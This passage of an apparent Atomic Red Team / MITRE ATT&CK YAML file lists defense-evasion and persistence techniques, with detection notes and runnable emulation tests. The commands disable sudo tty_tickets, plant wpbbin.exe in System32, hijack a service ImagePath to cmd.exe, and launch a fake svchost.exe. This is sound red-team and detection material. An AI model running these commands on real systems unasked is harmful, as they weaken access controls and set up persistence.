/usr/local/etc/sudoers sudo visudo -c -f /usr/local/etc/sudoers - name: Disable tty_tickets for sudo caching auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1 description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - macos - linux executor: name: sh elevation_required: true command: | sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers" sudo visudo -c -f /etc/sudoers - name: Disable tty_tickets for sudo caching (freebsd) auto_generated_guid: 4df6a0fe-2bdd-4be8-8618-a6a19654a57a description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using ''visudo'', do not do this on a production system. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if sudo is installed. ' prereq_command: 'if [ ! -x "$(command -v sudo)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y sudo)\n" executor: name: sh elevation_required: true command: | sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers" sudo visudo -c -f /usr/local/etc/sudoers T1578: technique: modified: '2023-09-05T20:45:22.041Z' name: Modify Cloud Compute Infrastructure description: |- An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - IaaS x_mitre_version: '1.2' x_mitre_data_sources: - 'Instance: Instance Metadata' - 'Instance: Instance Stop' - 'Snapshot: Snapshot Creation' - 'Volume: Volume Modification' - 'Instance: Instance Modification' - 'Instance: Instance Creation' - 'Volume: Volume Metadata' - 'Instance: Instance Start' - 'Cloud Service: Cloud Service Metadata' - 'Volume: Volume Creation' - 'Snapshot: Snapshot Modification' - 'Snapshot: Snapshot Metadata' - 'Volume: Volume Deletion' - 'Snapshot: Snapshot Deletion' - 'Instance: Instance Deletion' type: attack-pattern id: attack-pattern--144e007b-e638-431d-a894-45d90c54ab90 created: '2019-08-30T18:03:05.864Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1578 external_id: T1578 - source_name: Mandiant M-Trends 2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. url: https://content.fireeye.com/m-trends/rpt-m-trends-2020 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1542.001: technique: modified: '2024-04-16T12:21:51.311Z' name: 'Pre-OS Boot: System Firmware' description: |- Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI) System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Jean-Ian Boutin, ESET - McAfee - Ryan Becwar x_mitre_deprecated: false x_mitre_detection: |- System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Firmware: Firmware Modification' x_mitre_defense_bypassed: - Host intrusion prevention systems - Anti-virus - File monitoring type: attack-pattern id: attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada created: '2019-12-19T19:43:34.507Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1542/001 external_id: T1542.001 - source_name: McAfee CHIPSEC Blog description: Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017. url: https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/ - source_name: MITRE Copernicus description: 'Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.' url: http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about - source_name: Intel HackingTeam UEFI Rootkit description: Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017. url: http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html - source_name: Github CHIPSEC description: Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017. url: https://github.com/chipsec/chipsec - source_name: About UEFI description: UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016. url: http://www.uefi.org/about - source_name: MITRE Trustworthy Firmware Measurement description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research - source_name: Wikipedia UEFI description: Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017. url: https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface - source_name: Wikipedia BIOS description: Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016. url: https://en.wikipedia.org/wiki/BIOS object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1542.001 atomic_tests: - name: UEFI Persistence via Wpbbin.exe File Creation auto_generated_guid: b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1 description: | Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c - http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx - https://github.com/tandasat/WPBT-Builder supported_platforms: - windows executor: name: powershell command: "echo \"Creating %systemroot%\\wpbbin.exe\" \nNew-Item -ItemType File -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n" cleanup_command: "echo \"Removing %systemroot%\\wpbbin.exe\" \nRemove-Item -Path \"$env:SystemRoot\\System32\\wpbbin.exe\"\n" elevation_required: true T1574.011: technique: modified: '2023-10-31T14:00:00.188Z' name: 'Hijack Execution Flow: Services Registry Permissions Weakness' description: |- Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Travis Smith, Tripwire - Matthew Demaske, Adaptforward x_mitre_deprecated: false x_mitre_detection: |- Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Service: Service Modification' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c created: '2020-03-13T11:42:14.444Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/011 external_id: T1574.011 - source_name: Tweet Registry Perms Weakness description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018." url: https://twitter.com/r0wdy_/status/936365549553991680 - source_name: insecure_reg_perms description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021. url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/ - source_name: Kansa Service related collectors description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.' url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html - source_name: malware_hides_service description: Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021. url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/ - source_name: Autoruns for Windows description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns - source_name: Registry Key Security description: Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017. url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN - source_name: microsoft_services_registry_tree description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved August 25, 2021. url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree - source_name: troj_zegost description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021. url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.011 atomic_tests: - name: Service Registry Permissions Weakness auto_generated_guid: f7536d63-7fd4-466f-89da-7e48d550752a description: | Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg. reg add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "C:\temp\AtomicRedteam.exe" supported_platforms: - windows input_arguments: weak_service_name: description: weak service check type: string default: weakservicename executor: command: | get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name} |FL name: powershell - name: Service ImagePath Change with reg.exe auto_generated_guid: f38e9eea-e1d7-4ba6-b716-584791963827 description: 'Change Service registry ImagePath of a bengin service to a malicious file ' supported_platforms: - windows input_arguments: weak_service_name: description: weak service name type: string default: calcservice weak_service_path: description: weak service path type: string default: "%windir%\\system32\\win32calc.exe" malicious_service_path: description: malicious service path type: string default: "%windir%\\system32\\cmd.exe" dependency_executor_name: powershell dependencies: - description: 'The service must exist (#{weak_service_name}) ' prereq_command: 'if (Get-Service #{weak_service_name}) {exit 0} else {exit 1} ' get_prereq_command: 'sc.exe create #{weak_service_name} binpath= "#{weak_service_path}" ' executor: command: 'reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\#{weak_service_name}" /f /v ImagePath /d "#{malicious_service_path}" ' cleanup_command: 'sc.exe delete #{weak_service_name} ' name: command_prompt T1542.003: technique: modified: '2023-03-30T21:01:47.417Z' name: Bootkit description: |- Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly. A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011) The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Drive: Drive Modification' x_mitre_defense_bypassed: - Host intrusion prevention systems - Anti-virus - File monitoring x_mitre_permissions_required: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba created: '2019-12-19T21:05:38.123Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1542/003 external_id: T1542.003 - source_name: Mandiant M Trends 2016 description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019. url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf - source_name: Lau 2011 description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014. url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1218.013: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9 created: '2021-09-22T17:45:10.241Z' x_mitre_version: '2.0' external_references: - source_name: mitre-attack external_id: T1218.013 url: https://attack.mitre.org/techniques/T1218/013 - source_name: ATT Lazarus TTP Evolution url: https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution description: Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021. - source_name: LOLBAS Mavinject url: https://lolbas-project.github.io/lolbas/Binaries/Mavinject/ description: LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021. - source_name: Mavinject Functionality Deconstructed url: https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e description: Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021. - source_name: Reaqta Mavinject url: https://reaqta.com/2017/12/mavinject-microsoft-injector/ description: 'Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.' x_mitre_deprecated: false revoked: false description: "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)" modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Mavinject x_mitre_detection: |- Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity. Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1036.005: technique: modified: '2023-09-14T21:12:48.409Z' name: 'Masquerading: Match Legitimate Name or Location' description: |- Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Yossi Weizman, Azure Defender Research Team - Vishwas Manral, McAfee x_mitre_deprecated: false x_mitre_detection: |- Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Containers x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Metadata' - 'Image: Image Metadata' - 'Process: Process Metadata' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2 created: '2020-02-10T20:43:10.239Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/005 external_id: T1036.005 - source_name: Twitter ItsReallyNick Masquerading Update description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019. url: https://twitter.com/ItsReallyNick/status/1055321652777619457 - source_name: Docker Images description: Docker. (n.d.). Docker Images. Retrieved April 6, 2021. url: https://docs.docker.com/engine/reference/commandline/images/ - source_name: Elastic Masquerade Ball description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.' url: https://www.elastic.co/blog/how-hunt-masquerade-ball object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1036.005 atomic_tests: - name: Execute a process from a directory masquerading as the current parent directory. auto_generated_guid: 812c3ab8-94b0-4698-a9bf-9420af23ce24 description: 'Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`) ' supported_platforms: - macos - linux input_arguments: test_message: description: Test message to echo out to the screen type: string default: Hello from the Atomic Red Team test T1036.005#1 executor: name: sh elevation_required: false command: | mkdir $HOME/... cp $(which sh) $HOME/... $HOME/.../sh -c "echo #{test_message}" cleanup_command: | rm -f $HOME/.../sh rmdir $HOME/.../ - name: Masquerade as a built-in system executable auto_generated_guid: 35eb8d16-9820-4423-a2a1-90c4f5edd9ca description: 'Launch an executable that attempts to masquerade as a legitimate executable. ' supported_platforms: - windows input_arguments: executable_filepath: description: File path where the generated executable will be dropped and executed from. The filename should be the name of a built-in system utility. type: string default: "$Env:windir\\Temp\\svchost.exe" executor: command: | Add-Type -TypeDefinition @' public class Test { public static void Main(string[] args) { System.Console.WriteLine("tweet, tweet"); } } '@ -OutputAssembly "#{executable_filepath}" Start-Process -FilePath "#{executable_filepath}" cleanup_command: 'Remove-Item -Path "#{executable_filepath}" -ErrorAction Ignore ' name: powershell T1600: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8 type: attack-pattern created: '2020-10-19T18:47:08.759Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1600 url: https://attack.mitre.org/techniques/T1600 - source_name: Cisco Synful Knock Evolution url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. - source_name: Cisco Blog Legacy Device Attacks url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. modified: '2021-04-29T14:49:39.188Z' name: Weaken Encryption description: |- Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution) Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key. Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation. x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_defense_bypassed: - Encryption x_mitre_permissions_required: - Administrator x_mitre_is_subtechnique: false spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1036.008: technique: modified: '2023-06-14T23:03:51.540Z' name: Masquerade File Type description: "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. \ Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - CrowdStrike Falcon OverWatch - Ben Smith, @ezaspy x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Modification' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471 created: '2023-03-08T22:40:06.918Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/008 external_id: T1036.008 - source_name: polygot_icedID description: 'Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.' url: https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1564: technique: modified: '2024-03-29T17:45:48.126Z' name: Hide Artifacts description: |- Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015) Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. 